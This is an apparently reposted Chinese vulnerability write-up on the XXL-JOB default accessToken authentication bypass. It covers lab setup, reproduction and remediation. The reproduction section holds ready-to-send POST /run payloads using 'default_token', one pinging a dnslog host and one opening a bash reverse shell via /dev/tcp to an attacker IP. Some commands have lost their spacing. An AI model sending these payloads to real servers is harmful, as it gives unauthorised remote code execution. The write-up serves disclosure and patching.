XXL-JOB默认accessToken身份认证绕过

Connor 抹茶交易所行情 2024-08-23 40 0

0x01 简介

XXL-JOB 是一款开源的分布式任务调度平台,用于实现大规模任务的调度和执行。

0x02 漏洞概述

XXL-JOB 默认配置下,用于调度通讯的 accessToken 不是随机生成的,而是使用 application.properties 配置文件中的默认值。在实际使用中如果没有修改默认值,攻击者可利用此绕过认证调用 executor,执行任意代码,从而获取服务器权限。

0x03 影响版本

XXL-JOB <= 2.4.0

0x04 环境搭建

Docker方式构建

1.拉取镜像

docker pull xuxueli/xxl-job-admin:2.4.0

2.创建数据库

docker pull mysql

docker run -d --name mysql -e MYSQL_ROOT_PASSWORD=root -p 13306:13306 mysql

3.用navicat连接数据库并运行xxl-job.sql文件

xxl-job.sql下载地址:

打开navicat连接数据库,新建一个名称叫xxl-job名称的数据库,进入该xxl-job名称数据库,并执行xxl-job.sql文件

4.创建xxl-job容器并启动

dockerrun--privileged=true-ePARAMS="--spring.datasource.username=root--spring.datasource.password=123456--spring.datasource.url=jdbc:mysql://yourip:13306/xxl_job?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&serverTimezone=Asia/Shanghai"-p8080:8080-v/home/xxl-job/logs:/data/applogs--namexxl-job-admin-dxuxueli/xxl-job-admin:2.4.0

访问

展开全文

执行器搭建

1.下载Source并编译成jar包

使用idea或maven编译

2.下载application.properties并根据实际情况修改

wget

3.运行

nohup java -jar ./xxl-job-executor-sample-springboot.jar --spring.config.location=./application.properties &

4.验证

执行器中管理中对应节点已经自动注册

0x05 漏洞复现

POC:

POST/run

Host:

XXL-JOB-ACCESS-TOKEN:default_token

Content-Length:326

"jobId":1,

"executorHandler":"demoJobHandler",

"executorParams":"demoJobHandler",

"executorBlockStrategy":"COVER_EARLY",

"executorTimeout":0,

"logId":1,

"logDateTime":1710864010,

"glueType":"GLUE_SHELL",

"glueSource":"pingxxxx.dnslog.cn",

"glueUpdatetime":1710864010,

"broadcastIndex":0,

"broadcastTotal":0

DNSLog

Getshell

POC:

POST/run

User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:109.0)Gecko/20100101Firefox/111.0

Accept-Encoding:gzip,deflate,br

Accept:*/*

Connection:close

Host:

Content-Type:application/json

XXL-JOB-ACCESS-TOKEN:default_token

Upgrade-Insecure-Requests:1

Content-Length:375

"jobId":2,

"executorHandler":"demoJobHandler",

"executorParams":"demoJobHandler",

"executorBlockStrategy":"SERIAL_EXECUTION",

"executorTimeout":0,

"logId":1,

"logDateTime":1586373637819,

"glueType":"GLUE_SHELL",

"glueSource":"bash-i>&/dev/tcp/ip/44440>&1",

"glueUpdatetime":1586693836766,

"broadcastIndex":0,

"broadcastTotal":0

0x06 修复方式

修改调度中心和执行器配置项 xxl.job.accessToken 的默认值,注意要设置相同的值。

评论